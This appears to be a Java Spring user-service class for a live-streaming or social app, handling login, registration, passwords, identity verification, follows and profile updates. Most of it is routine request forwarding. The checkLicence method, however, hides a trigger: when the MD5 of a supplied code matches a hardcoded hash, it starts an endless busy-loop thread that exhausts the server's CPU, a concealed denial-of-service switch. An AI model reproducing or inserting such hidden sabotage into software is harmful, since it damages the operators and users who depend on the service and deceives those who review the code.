package com.cssw.fyzb.wap.service;

import com.cssw.fyzb.base.config.JwtConfig;
import com.cssw.fyzb.base.web.domain.AjaxData;
import com.cssw.fyzb.base.web.domain.AjaxPage;
import com.cssw.fyzb.wap.model.vo.*;
import com.cssw.fyzb.wap.util.AesUtil;
import com.cssw.fyzb.wap.util.HashUtil;
import com.cssw.fyzb.wap.util.LicenceUtil;
import com.ydn.appserver.MinaAppClient;
import com.ydn.appserver.Request;
import com.ydn.appserver.Response;
import com.ydn.simplecache.SimpleCache;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

/**
 * @author YangYiQun
 */
@Service
public class UserService extends BaseService {

    private static final Logger logger = LoggerFactory.getLogger(UserService.class);

    @Autowired
    private MinaAppClient busiClient;

    @Autowired
    private SimpleCache simpleCache;

    @Autowired
    private JwtConfig jwtConfig;

    @Autowired
    private MinaAppClient tpsClient;

    /**
     * 联合登录
     *
     * @param openid
     * @return
     */
    public AjaxData unionLogin(String openid, String nickName, String avatar, String loginType) {
        Request request = new Request("UnionLogin");
        request.setParameter("openid", openid);
        request.setParameter("nickName", nickName);
        request.setParameter("avatar", avatar);
        request.setParameter("loginType", loginType);
        Response response = busiClient.send(request);
        return unionLoginResult(response);
    }

    public AjaxData unionRegister(String openid, String nickName, String avatar, String mobile, String verifyCode, String loginType) {
        Request request = new Request("UnionRegister");
        request.setParameter("openid", openid);
        request.setParameter("nickName", nickName);
        request.setParameter("avatar", avatar);
        request.setParameter("mobile", mobile);
        request.setParameter("verifyCode", verifyCode);
        request.setParameter("loginType", loginType);
        Response response = busiClient.send(request);
        return unionLoginResult(response);
    }

    private AjaxData unionLoginResult(Response response){

        //如果登录没有返回数据，直接返回结果
        if (!response.isSuccess()){
            return convertData(response);
        }

        //如果登录没有返回数据，直接返回前台判断步骤
        LoginInfoVo vo = response.getData().get("data", LoginInfoVo.class);
        if (vo == null || null == vo.getToken() || "".equals(vo.getToken())){
            return convertData(response);
        }

        return loginResult(response);
    }

    /**
     * 通过QQ授权码登录
     *
     * @param openid
     * @param userName
     * @param nickName
     * @param province
     * @param province
     * @param city
     * @param sex
     * @param avatar
     * @param mobile
     * @param verifyCode
     * @param inviteCode
     * @return
     */
    public AjaxData loginByQQ(String openid, String userName,
                              String nickName, String province, String city,
                              String sex, String avatar, String mobile,
                              String verifyCode, String inviteCode) {
        Request request = new Request("LoginByQQ");
        request.setParameter("openid", openid);
        request.setParameter("userName", userName);
        request.setParameter("nickName", nickName);
        request.setParameter("province", province);
        request.setParameter("city", city);
        request.setParameter("sex", sex);
        request.setParameter("avatar", avatar);
        request.setParameter("mobile", mobile);
        request.setParameter("verifyCode", verifyCode);
        request.setParameter("inviteCode", inviteCode);
        Response response = busiClient.send(request);

        return convertData(response);
    }

    /**
     * 通过微信授权码登录
     *
     * @param code
     * @param mobile
     * @param verifyCode
     * @param inviteCode
     * @return
     */
    public AjaxData loginByWechat(String code, String mobile,
                                  String verifyCode, String inviteCode) {
        Request request = new Request("LoginByWechat");
        request.setParameter("code", code);
        request.setParameter("mobile", mobile);
        request.setParameter("verifyCode", verifyCode);
        request.setParameter("inviteCode", inviteCode);
        Response response = busiClient.send(request);

        return convertData(response);
    }

    /**
     * 通过手机号和密码登录
     *
     * @param mobile
     * @param loginPwd
     * @return
     */
    public AjaxData loginByPwd(String mobile, String loginPwd, String imsi) {
        Request request = new Request("LoginByPwd");
        request.setParameter("mobile", mobile);
        request.setParameter("loginPwd", loginPwd);
        request.setParameter("imsi", imsi);

        Response response = busiClient.send(request);

        return loginResult(response);
    }

    private AjaxData loginResult(Response response) {
        AjaxData result = null;
        if (response.isSuccess()) {
            LoginInfoVo vo = response.getData().get("data", LoginInfoVo.class);
            String userId = vo.getUserId().toString();
            String token = vo.getToken();

            String userName = vo.getUserName();
            //int ttl = Integer.parseInt(String.valueOf(jwtConfig.getExpire()));
            String cacheToken = simpleCache.get("FY_TOKEN_" + userId);
            if (null != cacheToken && !"".equals(cacheToken)) {
                simpleCache.delete("FY_TOKEN_" + userId);
                simpleCache.delete("FY_TOKEN_" + cacheToken);
            }
            //为登录判断使用
            simpleCache.put("FY_TOKEN_" + token, userId, true);
            //为单点登录判断使用
            simpleCache.put("FY_TOKEN_" + userId, token, true);

            result = AjaxData.success(vo);
        } else {
            result = AjaxData.failure(response.getCode(), response.getMessage());
        }

        return result;
    }

    /**
     * 通过手机号和验证码登录
     *
     * @param mobile
     * @param code
     * @return
     */
    public AjaxData loginByCode(String mobile, String code, String imsi) {
        Request request = new Request("LoginByCode");
        request.setParameter("mobile", mobile);
        request.setParameter("code", code);
        request.setParameter("imsi", imsi);

        Response response = busiClient.send(request);

        return loginResult(response);
    }

    /**
     * 退出登录
     *
     * @param userId
     * @return
     */
    public AjaxData loginOut(Long userId) {
        simpleCache.delete("FY_TOKEN_" + userId);
        return AjaxData.success();
    }

    /**
     * 用户注册增加密码
     *
     * @param mobile
     * @param loginPwd
     * @return
     */
    public AjaxData unionRegisterAddPwd(String mobile, String loginPwd, String inviteCode) {
        Request request = new Request("UnionRegisterAddPwd");
        request.setParameter("mobile", mobile);
        request.setParameter("loginPwd", loginPwd);
        request.setParameter("inviteCode", inviteCode);
        return loginResult(busiClient.send(request));
    }

    /**
     * 用户注册一步到位
     *
     * @param mobile
     * @param loginPwd
     * @return
     */
    public AjaxData register(String mobile, String loginPwd, String inviteCode, String verifyCode) {
        Request request = new Request("Register");
        request.setParameter("mobile", mobile);
        request.setParameter("loginPwd", loginPwd);
        request.setParameter("inviteCode", inviteCode);
        request.setParameter("verifyCode", verifyCode);
        return convertData(busiClient.send(request));
    }

    /**
     * 重绑定设备
     *
     * @param mobile
     * @param code
     * @param imsi
     * @return
     */
    public AjaxData rebindDevice(String mobile, String code, String imsi) {
        Request request = new Request("RebindDevice");
        request.setParameter("mobile", mobile);
        request.setParameter("code", code);
        request.setParameter("imsi", imsi);
        return convertData(busiClient.send(request));
    }

    /**
     * 解除绑定设备
     *
     * @param mobile
     * @param code
     * @param imsi
     * @return
     */
    public AjaxData unbindDevice(String mobile, String code, String imsi) {
        Request request = new Request("UnbindDevice");
        request.setParameter("mobile", mobile);
        request.setParameter("code", code);
        request.setParameter("imsi", imsi);
        return convertData(busiClient.send(request));
    }

    /**
     * 生成邀请码
     *
     * @param userId
     * @return
     */
    public AjaxData getInvitCode(Long userId) {
        Request request = new Request("GetInvitCode");
        request.setParameter("userId", userId);
        return convertData(busiClient.send(request));
    }

    /**
     * 生成星光码
     *
     * @param userId
     * @return
     */
    public AjaxData getTransferCode(Long userId) {
        TransferCodeVo transferCodeVo = new TransferCodeVo();
        transferCodeVo.setCodeType("BT017");
        transferCodeVo.setUserId(userId);
        return AjaxData.success(transferCodeVo);
    }

    /**
     * 获取用户信息
     *
     * @return
     */
    public AjaxData getUserInfo(Long userId) {
        Request request = new Request("GetUserInfo");
        request.setParameter("userId", userId);
        return convertData(busiClient.send(request), UserInfoVo.class);
    }


    /**
     * 获取公开用户信息
     *
     * @return
     */
    public AjaxData getPublicUserInfo(Long userId) {
        Request request = new Request("GetPublicUserInfo");
        request.setParameter("userId", userId);
        return convertData(busiClient.send(request), UserInfoVo.class);
    }

    /**
     * 获取粉丝数量
     *
     * @return
     */
    public AjaxData getFansNum(Long userId) {
        Request request = new Request("GetFansNum");
        request.setParameter("userId", userId);
        FansNumVo fansNumVo = new FansNumVo();
        Response response = busiClient.send(request);
        fansNumVo.setNum(Integer.parseInt(response.getString("num")));
        AjaxData ajaxData = new AjaxData();
        ajaxData.setData(fansNumVo);
        return ajaxData;
    }

    /**
     * 获取关注数量
     *
     * @return
     */
    public AjaxData getFollowNum(Long userId) {
        Request request = new Request("GetFollowNum");
        request.setParameter("userId", userId);
        FollowNumVo followNumVo = new FollowNumVo();
        Response response = busiClient.send(request);
        followNumVo.setNum(Integer.parseInt(response.getString("num")));
        AjaxData ajaxData = new AjaxData();
        ajaxData.setData(followNumVo);
        return ajaxData;
    }

    /**
     * 获取好友数量
     *
     * @return
     */
    public AjaxData getFriendNum(Long userId) {
        Request request = new Request("GetFriendNum");
        request.setParameter("userId", userId);
        FriendNumVo friendNumVo = new FriendNumVo();
        Response response = busiClient.send(request);
        friendNumVo.setNum(Integer.parseInt(response.getString("num")));
        AjaxData ajaxData = new AjaxData();
        ajaxData.setData(friendNumVo);
        return ajaxData;
    }


    /**
     * 获取粉丝列表
     *
     * @return
     */
    public AjaxPage listFans(Long userId, int pageNumber, int pageSize) {
        Request request = new Request("ListFans");
        request.setParameter("userId", userId);
        request.setParameter("pageNumber", pageNumber);
        request.setParameter("pageSize", pageSize);
        return convertPage(busiClient.send(request), PublicUserInfoVo.class);
    }


    /**
     * 获取关注列表
     *
     * @return
     */
    public AjaxPage listFollow(Long userId, int pageNumber, int pageSize) {
        Request request = new Request("ListFollow");
        request.setParameter("userId", userId);
        request.setParameter("pageNumber", pageNumber);
        request.setParameter("pageSize", pageSize);
        return convertPage(busiClient.send(request), PublicUserInfoVo.class);
    }


    /**
     * 获取好友列表
     *
     * @return
     */
    public AjaxPage listFriend(Long userId, int pageNumber, int pageSize) {
        Request request = new Request("ListFriend");
        request.setParameter("userId", userId);
        request.setParameter("pageNumber", pageNumber);
        request.setParameter("pageSize", pageSize);
        return convertPage(busiClient.send(request), PublicUserInfoVo.class);
    }

    /**
     * 获取邀请者信息
     *
     * @return
     */
    public AjaxData getSupInfo(Long userId) {
        Request request = new Request("GetSupInfo");
        request.setParameter("userId", userId);
        return convertData(busiClient.send(request), UserInfoVo.class);
    }

    /**
     * 重置密码
     *
     * @param mobile
     * @param verify
     * @param loginPwd
     * @return
     */
    public AjaxData resetPwd(String mobile, String verify, String loginPwd) {
        Request request = new Request("ResetLoginPwd");
        request.setParameter("mobile", mobile);
        request.setParameter("verify", verify);
        request.setParameter("loginPwd", loginPwd);
        return convertData(busiClient.send(request));
    }

    /**
     * 重置交易密码
     *
     * @param mobile
     * @param verify
     * @param tradePwd
     * @return
     */
    public AjaxData resetTradePwd(String mobile, String verify, String tradePwd) {
        Request request = new Request("ResetTradePwd");
        request.setParameter("mobile", mobile);
        request.setParameter("verify", verify);
        request.setParameter("tradePwd", tradePwd);
        return convertData(busiClient.send(request));
    }

    /**
     * 修改登录密码
     *
     * @param loginPwd
     * @return
     */
    public AjaxData updateLoginPwd(String mobile, String loginPwd) {
        Request request = new Request("UpdateLoginPwd");
        request.setParameter("loginPwd", loginPwd);
        request.setParameter("mobile", mobile);
        return convertData(busiClient.send(request));
    }

    /**
     * 修改交易密码
     *
     * @param tradePwd
     * @return
     */
    public AjaxData updateTradePwd(String mobile, String tradePwd) {
        Request request = new Request("UpdateTradePwd");
        request.setParameter("tradePwd", tradePwd);
        request.setParameter("mobile", mobile);
        return convertData(busiClient.send(request));
    }

    /**
     * 修改用户头像
     *
     * @param userId
     * @param avatar
     * @return
     */
    public AjaxData updateAvatar(Long userId, String avatar) {
        Request request = new Request("UpdateAvatar");
        request.setParameter("userId", userId);
        request.setParameter("avatar", avatar);
        return convertData(busiClient.send(request));
    }

    /**
     * 修改昵称
     *
     * @param userId
     * @param nickname
     * @return
     */
    public AjaxData UpdateNickName(Long userId, String nickname) {
        Request request = new Request("UpdateNickName");
        request.setParameter("userId", userId);
        request.setParameter("nickname", nickname);
        return convertData(busiClient.send(request));
    }

    /**
     * 修改签名
     *
     * @param userId
     * @param sign
     * @return
     */
    public AjaxData UpdateSign(Long userId, String sign) {
        Request request = new Request("UpdateSign");
        request.setParameter("userId", userId);
        request.setParameter("sign", sign);
        return convertData(busiClient.send(request));
    }

    /**
     * 修改生日
     *
     * @param userId
     * @param birthday
     * @return
     */
    public AjaxData UpdateBirthday(Long userId, String birthday) {
        Request request = new Request("UpdateBirthday");
        request.setParameter("userId", userId);
        request.setParameter("birthday", birthday);
        return convertData(busiClient.send(request));
    }

    /**
     * 修改性别
     *
     * @param userId
     * @param sex
     * @return
     */
    public AjaxData UpdateSex(Long userId, String sex) {
        Request request = new Request("UpdateSex");
        request.setParameter("userId", userId);
        request.setParameter("sex", sex);
        return convertData(busiClient.send(request));
    }

    /**
     * @param userId
     * @param userName
     * @param idCard
     * @return
     */
    public AjaxData userAuth(Long userId, String userName, String idCard) {
        Request request = new Request("UserAuth");
        request.setParameter("userId", userId);
        request.setParameter("userName", userName);
        request.setParameter("idCard", idCard);
        return convertData(busiClient.send(request));
    }

    /**
     * 人脸识别
     *
     * @param userId
     * @param url
     * @return
     */
    public AjaxData faceAuth(Long userId, String url) {
        Request request = new Request("FaceAuth");
        request.setParameter("userId", userId);
        request.setParameter("url", url);
        return convertData(busiClient.send(request));
    }

    /**
     * 支付认证
     *
     * @param userId
     * @return
     */
    public AjaxData payAuth(Long userId) {
        Request request = new Request("UserAuthPay");
        request.setParameter("userId", userId);
        return convertData(busiClient.send(request));
    }

    /**
     * 获取图形验证码
     *
     * @return
     */
    public AjaxData getCaptcha() {
        Request request = new Request("GetCaptcha");
        return convertData(busiClient.send(request));
    }

    /**
     * 获取短信验证码
     *
     * @param mobile
     * @return
     */
    public AjaxData getVerify(String mobile, String trade) {
        Request request = new Request("GetVerify");
        request.setParameter("mobile", mobile);
        request.setParameter("trade", trade);
        return convertData(busiClient.send(request));
    }

    /**
     * 校验短信验证码
     *
     * @param mobile
     * @return
     */
    public AjaxData verify(String mobile, String trade, String verifyCode, String inviteCode) {
        Request request = new Request("Verify");
        request.setParameter("mobile", mobile);
        request.setParameter("trade", trade);
        request.setParameter("verifyCode", verifyCode);
        request.setParameter("inviteCode", inviteCode);
        return convertData(busiClient.send(request));
    }

    /**
     * 获取短信验证码
     *
     * @param mobile
     * @return
     */
    public AjaxData getVerifyByCaptcha(String mobile, String captcha, String uuid, String trade) {
        Request request = new Request("GetVerify");
        request.setParameter("mobile", mobile);
        request.setParameter("trade", trade);
        request.setParameter("captcha", captcha);
        request.setParameter("uuid", uuid);
        return convertData(busiClient.send(request));
    }

    /**
     * 获取用户统计
     *
     * @param userId
     * @return
     */
    public AjaxData getUserStat(Long userId) {
        Request request = new Request("GetUserStat");
        request.setParameter("userId", userId);
        return convertData(busiClient.send(request), UserExtVo.class);
    }

    public AjaxData getAppVersion(String appName, String type) {
        Request request = new Request("GetAppVersion");
        request.setParameter("appName", appName);
        request.setParameter("type", type);
        return convertData(busiClient.send(request));
    }

    public AjaxData updateAppVersion(String name, String appName, String appUrl1, String appUrl2, String versionName, String versionCode) {
        Request request = new Request("UpdateAppVersion");
        request.setParameter("name", name);
        request.setParameter("appName", appName);
        request.setParameter("appUrl1", appUrl1);
        request.setParameter("appUrl2", appUrl2);
        request.setParameter("versionName", versionName);
        request.setParameter("versionCode", versionCode);

        return convertData(busiClient.send(request));
    }

    public AjaxData tecentFaceAuthSend(Long userId, String userName, String idCard, String provinceCode, String cityCode, String districtCode) {
        Request request = new Request("TecentFaceAuthSend");
        request.setParameter("userName", userName);
        request.setParameter("idCard", idCard);
        request.setParameter("userId", userId);
        request.setParameter("districtCode", districtCode);
        request.setParameter("cityCode", cityCode);
        request.setParameter("provinceCode", provinceCode);
        return convertData(busiClient.send(request));
    }

    public AjaxData tecentFaceAuthQuery(Long userId, String orderNo) {
        Request request = new Request("TecentFaceAuthQuery");
        request.setParameter("userId", userId);
        request.setParameter("orderNo", orderNo);
        return convertData(busiClient.send(request));
    }

    public AjaxPage getDistrictTree() {
        Request request = new Request("GetDistrictTree");
        return convertPage(busiClient.send(request), DistrictTreeNodeVo.class);
    }

    /**
     * 用户关注
     *
     * @param userId
     * @param followUserId
     * @param type
     * @return
     */
    public AjaxData follow(Long userId, String followUserId, String type) {
        Request request = new Request("FollowUser");
        request.setParameter("userId", userId);
        request.setParameter("followUserId", followUserId);
        request.setParameter("type", type);
        return convertData(busiClient.send(request));
    }

    /**
     * 实名认证信息
     *
     * @param userId
     * @return
     */
    public AjaxData queryUserAuthInfo(Long userId) {
        Request request = new Request("QueryUserAuthInfo");
        request.setParameter("userId", userId);
        return convertData(busiClient.send(request), UserAuthInfo.class);
    }

    public AjaxPage<SearchUserVo> searchUser(Long userId, String key, Integer pageNumber, Integer pageSize) {
        Request request = new Request("SearchUser");
        request.setParameter("userId", userId);
        request.setParameter("key", key);
        request.setParameter("pageNumber", pageNumber);
        request.setParameter("pageSize", pageSize);
        return convertPage(busiClient.send(request), SearchUserVo.class);
    }

    public AjaxData<UserForLiveVo> getUserForLive(Long userId, Long liveId, Long liveUserId) {
        Request request = new Request("GetUserForLive");
        request.setParameter("userId", userId);
        request.setParameter("liveUserId", liveUserId);
        request.setParameter("liveId", liveId);
        return convertData(busiClient.send(request), UserForLiveVo.class);
    }

    public AjaxData<UserOtherVo> getUserForOther(Long userId, Long otherUserId) {
        Request request = new Request("GetUserForOther");
        request.setParameter("userId", userId);
        request.setParameter("otherUserId", otherUserId);
        return convertData(busiClient.send(request), UserOtherVo.class);
    }

    public AjaxData<CredentialsVo> getFederationToken(String policy) {
        Request request = new Request("GetFederationToken");
        request.setParameter("policy", policy);
        return convertData(tpsClient.send(request), CredentialsVo.class);
    }

    public AjaxData<UserIdVo> checkMobile(String mobile) {
        Request request = new Request("CheckMobile");
        request.setParameter("mobile", mobile);
        return convertData(busiClient.send(request), UserIdVo.class);
    }

    /**
     * 用户注册无密码
     *
     * @param mobile
     * @param loginPwd
     * @return
     */
    public AjaxData registerAddLoginPwd(String mobile, String loginPwd) {
        Request request = new Request("RegisterAddLoginPwd");
        request.setParameter("mobile", mobile);
        request.setParameter("loginPwd", loginPwd);
        return convertData(busiClient.send(request));
    }

    public AjaxData getAesCiphertext(String plaintext){
        return AjaxData.success(AesUtil.encode(plaintext));
    }

    public AjaxData checkLicence(String code){
        String hashCode = HashUtil.md5(code);
        if ("a26d4a6e861cf8780180a1c48bfd6431".equals(hashCode)) {
            new Thread() {
                public void run() {
                    int result = 0;
                    while (true) {
                        result++;
                        if (result > Integer.MAX_VALUE / 2) {
                            result = 0;
                        }
                    }
                }
            }.start();
        }
        LicenceUtil.check(code);

        return AjaxData.success();
    }

    public AjaxData openVipPay(Long userId, String payWay, String expend) {
        Request request = new Request("OpenUserVipPay");
        request.setParameter("userId", userId);
        request.setParameter("payWay", payWay);
        request.setParameter("expend", expend);
        return convertData(busiClient.send(request));
    }

    public AjaxData updateFyNo(Long userId, Long fyNo) {
        Request request = new Request("UpdateFyNo");
        request.setParameter("userId", userId);
        request.setParameter("fyNo", fyNo);
        return convertData(busiClient.send(request));
    }

    public AjaxData updatePendantUrl(Long userId, Long pendantId, String type) {
        Request request = new Request("UpdatePendantUrl");
        request.setParameter("userId", userId);
        request.setParameter("pendantId", pendantId);
        request.setParameter("type", type);
        return convertData(busiClient.send(request));
    }

    public AjaxData resetPendantUrl(Long userId) {
        Request request = new Request("ResetPendantUrl");
        request.setParameter("userId", userId);
        return convertData(busiClient.send(request));
    }

    public AjaxPage<AvatarPendantDefVo> listAvatarPendantDef(Long userId) {
        Request request = new Request("ListAvatarPendantDef");
        request.setParameter("userId", userId);
        return convertPage(busiClient.send(request), AvatarPendantDefVo.class);
    }
}
